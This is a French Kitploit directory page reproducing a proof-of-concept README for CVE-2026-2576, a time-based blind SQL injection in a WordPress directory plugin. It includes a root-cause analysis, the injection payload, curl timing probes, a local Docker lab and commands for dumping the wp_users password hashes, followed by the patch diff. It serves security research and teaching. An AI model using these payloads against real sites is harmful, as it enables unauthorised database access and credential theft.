Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — PoC d'injection SQLi pour le plugin Business Directory (Configuration locale). Injection SQL aveugle basée sur le temps, non authentifiée, dans le plugin Business Directory pour WordPress ≤ 6.4.21 | Kitploit
Outils/GitHubGitHub/sowatkheang/cve_2026_2576_poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — PoC d'injection SQLi pour le plugin Business Directory (Configuration locale). Injection SQL aveugle basée sur le temps, non authentifiée, dans le plugin Business Directory pour WordPress ≤ 6.4.21

Voir le dépôt
2il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-2576 — PoC d'injection SQLi du plugin Business Directory

Injection SQL aveugle basée sur le temps, sans authentification
Plugin Business Directory pour WordPress ≤ 6.4.21


Table des matières

  • Présentation de la vulnérabilité
  • Analyse technique
  • Prérequis du laboratoire
  • Configuration du laboratoire
  • Exécution du PoC
  • Sortie attendue
  • Analyse du correctif
  • Références
  • Avertissement

Présentation de la vulnérabilité

ChampDétail
CVECVE-2026-2576
PluginBusiness Directory Plugin – Easy Listing Directories for WordPress
Éditeurstrategy11team
Versions concernéesToutes les versions ≤ 6.4.21
Corrigé dans6.4.22
TypeInjection SQL aveugle basée sur le temps (CWE-89)
AuthentificationAucune — entièrement non authentifié
CVSS7,5 (NVD) / 9,3 (Wordfence)
VecteurCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AssigneurWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
Divulgué18 février 2026

Le plugin Business Directory est un plugin WordPress largement utilisé pour créer des annuaires de listes avec support des paiements. Une faille dans son générateur de requêtes ORM permet à un attaquant non authentifié d'effectuer une injection SQL aveugle basée sur le temps via le paramètre de requête payment, permettant d'inférer le contenu de la base de données.


Analyse technique

Cause racine

La vulnérabilité se trouve dans le générateur de requêtes ORM :

Fichier : includes/db/class-db-query-set.php — filter_args()

root@kitploit:~
private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ VULNÉRABLE — aucune assainissement, concaténation directe de chaînes
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Sûr — utilise $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

Lorsque $v est un scalaire, le code utilise correctement $wpdb->prepare(). Lorsque $v est un tableau, il tombe dans la branche non sécurisée et concatène les valeurs directement dans la chaîne SQL sans échappement.

Déclencheur

Le contrôleur de paiement (includes/controllers/pages/class-checkout.php) lit le paramètre de requête payment et le transmet à l'ORM :

root@kitploit:~
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id passé comme valeur
    );
}

PHP convertit automatiquement payment[]=value dans la chaîne de requête en un tableau $_GET['payment'] = ['value']. Cela force $v à être un tableau dans filter_args(), atteignant ainsi la branche non sécurisée.

Flux d'injection

root@kitploit:~
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← tableau en raison de la notation []
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → branche non sécurisée
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Charge utile d'injection

root@kitploit:~
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

SQL généré :

root@kitploit:~
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

Le -- - commente le ') final. Le IF() crée un oracle booléen : lorsque la condition est VRAIE, SLEEP(N) se déclenche et la réponse est retardée ; lorsqu'elle est FAUSSE, la réponse est immédiate.

Remarque : L'ORM exécute la requête deux fois par requête HTTP (une fois dans get(), une fois dans maybe_execute_query()), donc une charge utile SLEEP(1) produit environ 2 secondes de délai observable, et SLEEP(2) produit environ 4 secondes.

Impact

Un attaquant non authentifié peut inférer et extraire le contenu de la base de données caractère par caractère grâce aux réponses temporelles, notamment :

  • Table des utilisateurs WordPress (wp_users), noms d'utilisateur, adresses e-mail, hachages de mots de passe
  • Enregistrements de paiement du plugin, données de transaction, détails des propriétaires de listes
  • Toute autre table accessible par l'utilisateur de la base de données

Correctif

Le correctif de la version 6.4.22 ajoute un assainissement à la branche tableau de filter_args() :

root@kitploit:~
// AVANT (vulnérable)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// APRÈS (corrigé)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Prérequis du laboratoire

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux ou tout hôte Linux
  • Accès Internet (pour récupérer les images Docker et télécharger le plugin)

Installer les dépendances Python :

root@kitploit:~
pip3 install requests colorama --break-system-packages

Configuration du laboratoire

Étape 1 : Cloner ou créer le répertoire du laboratoire

root@kitploit:~
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Étape 2 : Démarrer la pile complète

root@kitploit:~
cd cve-2026-2576-lab
docker compose up -d --build

Étape 3 : Exécuter l'installateur et attendre la fin

root@kitploit:~
docker compose up setup

Attendez jusqu'à voir :

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║           Configuration du laboratoire terminée !        ║
╠══════════════════════════════════════════════════════════╣
║  WordPress :   http://localhost:8080                     ║
║  Admin WP :    http://localhost:8080/wp-admin            ║
║  phpMyAdmin :  http://localhost:8082                     ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin : 6.4.21 (VULNÉRABLE)                            ║
║  ID de page BD : 4                                       ║
╚══════════════════════════════════════════════════════════╝

Étape 4 : Confirmer la version vulnérable du plugin

root@kitploit:~
docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Attendu : * Version: 6.4.21

Étape 5 : Obtenir la clé de paiement réelle depuis la base de données

root@kitploit:~
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
root@kitploit:~
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Étape 6 : Démarrer phpMyAdmin (optionnel, pour l'inspection de la base)

root@kitploit:~
docker compose up -d pma
# Accès à http://localhost:8082  (root / rootpass)

Exécution du PoC

Toutes les commandes s'exécutent depuis le répertoire racine du laboratoire sur votre hôte Kali. Utilisez http://localhost:8080 (mappage de port hôte → Docker). La payment_key doit correspondre à une ligne existante dans wp_wpbdp_payments.

Détection : confirmer que l'injection existe

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

Attendu : INJECTION CONFIRMÉE ✓ (2,03 s ≈ 1 s × 2 exécutions ORM)

Texte alternatif

Extraction : nom de la base, version, utilisateur

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Texte alternatif

Liste : toutes les tables de la base de données

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

Vidage : table des utilisateurs WordPress (hachages de mots de passe)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

Vidage : table personnalisée (secrets pré-remplis)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

Extraction d'expression SQL personnalisée

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

Réglage de la vitesse

OptionDéfautRemarques
--sleep N1SLEEP(N) par oracle. VRAI ≈ N×2 s. Plus bas = plus rapide, plus bruyant
--threads N4Positions de caractères en parallèle. 8 fonctionne bien sur du matériel moderne
root@kitploit:~
# Extraction la plus rapide
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

Vérification manuelle avec curl

root@kitploit:~
# Référence : doit répondre en < 0,1 s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# Sonde de sommeil : doit répondre en ~4 s (SLEEP(2) × 2 exécutions)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 


Analyse du correctif

Pour comparer la version vulnérable à la version corrigée :

root@kitploit:~
python3 poc/patch_diff.py 

# Pour un diff complet
python3 poc/patch_diff.py --full
  • Ou téléchargement manuel
root@kitploit:~
# Télécharger les deux versions
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# Comparer le fichier vulnérable
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

Le diff montrera esc_sql() ajouté à la branche tableau dans filter_args().


Gestion du laboratoire

root@kitploit:~
# Arrêter le laboratoire (conserve les données)
docker compose stop

# Redémarrer
docker compose start

# Démontage complet — détruit tous les volumes et données
docker compose down -v

# Relancer la configuration depuis zéro
docker compose down -v && docker compose up setup

# Ouvrir un shell dans le conteneur WordPress
docker exec -it lab_wordpress bash

# Consulter le journal d'erreurs PHP de WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# Surveiller le journal des requêtes MySQL en temps réel
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log

Références

  • Avis Wordfence — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
  • Entrée NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-2576
  • Page du plugin WordPress — https://wordpress.org/plugins/business-directory-plugin/
  • SVN du plugin WordPress — https://plugins.svn.wordpress.org/business-directory-plugin/
  • OWASP : Injection SQL — https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89 — https://cwe.mitre.org/data/definitions/89.html
  • Documentation $wpdb->prepare() de WordPress — https://developer.wordpress.org/reference/classes/wpdb/prepare/

Avertissement

Ce dépôt est destiné uniquement à la recherche en sécurité autorisée et à des fins pédagogiques. Tous les tests ont été menés dans un environnement de laboratoire local isolé. N'exécutez jamais cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans d'autres juridictions.

L'auteur décline toute responsabilité en cas d'utilisation abusive de ce matériel. Suivez toujours les pratiques de divulgation responsable — si vous découvrez de nouveaux résultats fondés sur cette recherche, coordonnez-vous avec l'éditeur avant toute publication.


Recherché et développé dans un laboratoire Docker isolé sur Kali Linux.

Télécharger l’outil